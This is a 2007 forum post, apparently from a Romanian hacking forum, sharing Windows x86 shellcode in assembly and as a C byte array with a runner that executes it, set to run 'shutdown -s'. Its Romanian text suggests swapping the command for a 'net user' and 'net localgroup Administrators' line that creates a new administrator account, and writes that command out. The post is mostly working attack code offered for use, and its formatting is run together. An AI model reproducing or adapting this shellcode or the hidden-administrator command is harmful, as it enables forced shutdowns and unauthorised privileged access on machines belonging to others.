vladiii Posted October 19, 2007 Report Posted October 19, 2007 /*;shutdown -s.asmsegment.code USE32..start:xor eax, eaxxor ebx, ebxxor ecx, ecxxor edx, edxjmp short funct1funct2:pop eaxmov byte [eax+11], dlmov ebx, 0x77E82CF5 ;WinExecpush eaxcall ebxexit:xor ebx, ebxmov ebx, 0x77E7295D ;ExitProcesspush byte 1call ebxfunct1:call funct2db 'shutdown -sN' *//* This shellcode execute shutdown -s in Run. */#include <stdio.h>#include <windows.h>char shellcode[]="\x31\xC0\x31\xDB\x31\xC9\x31\xD2\xEB""\x17\x58\x88\x50\x0B\xBB""\xF5\x2C\xE8\x77" /*WinExec offset*/"\x50\xFF\xD3\x31\xDB\xBB\x5D\x29""\xE7\x77\x6A\x01\xFF\xD3\xE8\xE4\xFF""\xFF\xFF\x73\x68\x75\x74\x64\x6F\x77""\x6E\x20\x2D\x73\x4E\x00\x00";int main(int argc, char **argv){ int (*func)(); func = (int ()) shellcode; (int)(*func)();}Cu acest cod ASM puteti executa comenzi in Run (in cazul meu shutdown -s). Spre exemplu. puteti inlocui comanda cu una de adaugare a unui nou administrator pe system, ex:cmd.exe /c net user USERNAME PASSWORD /ADD && net localgroup Administrators /ADD USERNAMENPentru nelamuriri/sugestii/buguri, lasati mesaj Quote